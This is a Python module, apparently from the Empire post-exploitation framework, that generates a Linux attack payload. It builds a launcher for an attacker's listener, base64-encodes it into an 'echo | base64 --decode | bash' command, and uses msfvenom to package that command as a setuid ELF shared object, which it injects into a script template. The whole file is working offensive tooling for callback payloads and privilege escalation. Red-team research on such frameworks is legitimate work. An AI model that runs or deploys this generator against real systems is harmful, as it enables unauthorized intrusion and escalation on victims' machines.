import base64
import subprocess

from empire.server.common.empire import MainMenu
from empire.server.core.exceptions import ModuleValidationException
from empire.server.core.module_models import EmpireModule
from empire.server.core.module_service import auto_get_source


class Module:
    @staticmethod
    @auto_get_source
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
        script: str = "",
    ):
        # extract all of our options
        listener_name = params["Listener"]
        user_agent = params["UserAgent"]
        safe_checks = params["SafeChecks"]

        # generate the launcher code
        launcher = main_menu.stagergenv2.generate_launcher(
            listener_name,
            language="python",
            user_agent=user_agent,
            safe_checks=safe_checks,
        )

        if launcher == "":
            raise ModuleValidationException("Error in launcher command generation.")

        base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8")
        launcher = f'echo \\"{base64_launcher}\\" | base64 --decode | bash'

        command = f"msfvenom -p linux/x64/exec CMD='{launcher}' -f elf-so PrependSetuid=true | base64"
        output = subprocess.check_output(command, shell=True)
        output = output.replace(b"\n", b"")
        return script.replace("{{ payload }}", output.decode("UTF-8"))
